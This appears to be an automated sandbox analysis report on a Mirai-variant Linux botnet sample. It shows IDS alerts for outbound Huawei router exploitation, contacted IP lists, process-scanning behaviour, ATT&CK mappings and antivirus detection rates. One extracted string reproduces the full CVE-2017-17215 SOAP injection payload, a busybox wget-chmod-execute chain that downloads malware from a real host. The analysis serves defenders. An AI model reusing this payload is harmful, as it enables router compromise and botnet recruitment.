Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53150 -> 197.193.215.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60332 -> 197.199.90.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34266 -> 197.197.35.143:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60246 -> 197.197.31.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34512 -> 156.198.130.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56416 -> 197.195.103.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58432 -> 197.195.106.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56760 -> 31.136.3.70:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56064 -> 197.194.254.137:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42474 -> 197.199.245.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56524 -> 197.193.29.41:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52996 -> 212.3.204.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34334 -> 41.153.213.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46514 -> 197.192.96.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49620 -> 197.196.206.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45076 -> 197.197.18.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43194 -> 91.239.149.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41360 -> 41.152.85.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36770 -> 197.194.220.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34352 -> 197.197.139.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44774 -> 197.194.178.14:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52146 -> 41.153.189.145:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40880 -> 197.199.88.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36070 -> 197.192.126.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39702 -> 41.153.65.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60850 -> 41.153.137.70:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57006 -> 197.193.187.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32990 -> 197.195.42.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35122 -> 197.194.142.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34118 -> 197.196.143.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38188 -> 197.197.141.209:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52180 -> 154.201.21.74:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52040 -> 197.192.251.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53138 -> 41.153.157.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35390 -> 197.193.179.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35460 -> 197.194.40.131:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38644 -> 197.196.204.1:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42346 -> 197.196.157.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46462 -> 37.72.194.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37524 -> 197.195.229.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35700 -> 41.237.139.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48846 -> 31.136.197.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54074 -> 41.232.8.170:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33770 -> 197.194.25.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45352 -> 41.153.134.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35920 -> 197.192.200.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53052 -> 41.0.84.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52660 -> 197.197.129.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33322 -> 41.153.122.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41274 -> 197.199.251.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35682 -> 41.47.74.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35978 -> 197.196.148.1:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45458 -> 197.194.245.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49734 -> 197.192.179.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50654 -> 95.86.119.35:37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 187.219.235.153
Source: unknown	TCP traffic detected without corresponding DNS query: 190.242.193.153
Source: unknown	TCP traffic detected without corresponding DNS query: 119.46.89.43
Source: unknown	TCP traffic detected without corresponding DNS query: 62.188.79.82
Source: unknown	TCP traffic detected without corresponding DNS query: 130.30.226.237
Source: unknown	TCP traffic detected without corresponding DNS query: 86.73.147.251
Source: unknown	TCP traffic detected without corresponding DNS query: 165.129.238.247
Source: unknown	TCP traffic detected without corresponding DNS query: 23.228.12.81
Source: unknown	TCP traffic detected without corresponding DNS query: 206.77.206.208
Source: unknown	TCP traffic detected without corresponding DNS query: 113.217.43.115
Source: unknown	TCP traffic detected without corresponding DNS query: 18.151.217.4
Source: unknown	TCP traffic detected without corresponding DNS query: 13.17.244.222
Source: unknown	TCP traffic detected without corresponding DNS query: 125.123.168.240
Source: unknown	TCP traffic detected without corresponding DNS query: 172.123.101.29
Source: unknown	TCP traffic detected without corresponding DNS query: 116.11.238.94
Source: unknown	TCP traffic detected without corresponding DNS query: 38.242.139.139
Source: unknown	TCP traffic detected without corresponding DNS query: 119.4.107.224
Source: unknown	TCP traffic detected without corresponding DNS query: 13.137.154.97
Source: unknown	TCP traffic detected without corresponding DNS query: 196.188.198.83
Source: unknown	TCP traffic detected without corresponding DNS query: 89.205.140.223
Source: unknown	TCP traffic detected without corresponding DNS query: 136.126.106.41
Source: unknown	TCP traffic detected without corresponding DNS query: 194.198.202.139
Source: unknown	TCP traffic detected without corresponding DNS query: 9.117.114.216
Source: unknown	TCP traffic detected without corresponding DNS query: 124.167.206.138
Source: unknown	TCP traffic detected without corresponding DNS query: 84.249.95.151
Source: unknown	TCP traffic detected without corresponding DNS query: 199.59.179.234
Source: unknown	TCP traffic detected without corresponding DNS query: 211.217.152.96
Source: unknown	TCP traffic detected without corresponding DNS query: 205.68.179.59
Source: unknown	TCP traffic detected without corresponding DNS query: 13.115.15.146
Source: unknown	TCP traffic detected without corresponding DNS query: 75.232.229.150
Source: unknown	TCP traffic detected without corresponding DNS query: 2.89.45.25
Source: unknown	TCP traffic detected without corresponding DNS query: 206.49.91.62
Source: unknown	TCP traffic detected without corresponding DNS query: 175.11.195.14
Source: unknown	TCP traffic detected without corresponding DNS query: 174.200.227.198
Source: unknown	TCP traffic detected without corresponding DNS query: 64.91.239.90
Source: unknown	TCP traffic detected without corresponding DNS query: 58.135.193.211
Source: unknown	TCP traffic detected without corresponding DNS query: 62.26.61.251
Source: unknown	TCP traffic detected without corresponding DNS query: 9.236.91.201
Source: unknown	TCP traffic detected without corresponding DNS query: 60.149.190.142
Source: unknown	TCP traffic detected without corresponding DNS query: 179.124.22.108
Source: unknown	TCP traffic detected without corresponding DNS query: 136.162.85.34
Source: unknown	TCP traffic detected without corresponding DNS query: 128.221.234.236
Source: unknown	TCP traffic detected without corresponding DNS query: 19.204.35.90
Source: unknown	TCP traffic detected without corresponding DNS query: 159.131.225.83
Source: unknown	TCP traffic detected without corresponding DNS query: 84.166.254.69
Source: unknown	TCP traffic detected without corresponding DNS query: 182.148.36.25
Source: unknown	TCP traffic detected without corresponding DNS query: 147.249.224.82
Source: unknown	TCP traffic detected without corresponding DNS query: 80.21.124.46

Source: eOKWFR38tO.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: eOKWFR38tO.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: eOKWFR38tO.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6232.1.00007fc034001000.00007fc03400f000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)

Source: eOKWFR38tO.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6232.1.00007fc034001000.00007fc03400f000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	String containing 'busybox' found: (<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /nabmips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: (<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /nabmips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/124/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/3/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/4/maps	Jump to behavior
Source: /tmp/eOKWFR38tO.elf (PID: 6236)	File opened: /proc/4/cmdline	Jump to behavior

Source: eOKWFR38tO.elf, 6232.1.0000562eb6141000.0000562eb61f1000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: eOKWFR38tO.elf, 6232.1.0000562eb6141000.0000562eb61f1000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: eOKWFR38tO.elf, 6232.1.00007ffc48018000.00007ffc48039000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: eOKWFR38tO.elf, 6232.1.00007ffc48018000.00007ffc48039000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/eOKWFR38tO.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/eOKWFR38tO.elf

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
eOKWFR38tO.elf	46%	ReversingLabs	Linux.Trojan.Mirai
eOKWFR38tO.elf	38%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	eOKWFR38tO.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	eOKWFR38tO.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
119.219.35.121	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.195.197.44	unknown	South Africa	16637	MTNNS-ASZA	false
193.157.88.70	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
131.12.144.231	unknown	United States	61458	GOBIERNOAUTONOMOMUNICIPALDELAPAZBO	false
149.33.222.164	unknown	United States	174	COGENT-174US	false
41.171.231.186	unknown	South Africa	36937	Neotel-ASZA	false
118.243.197.119	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
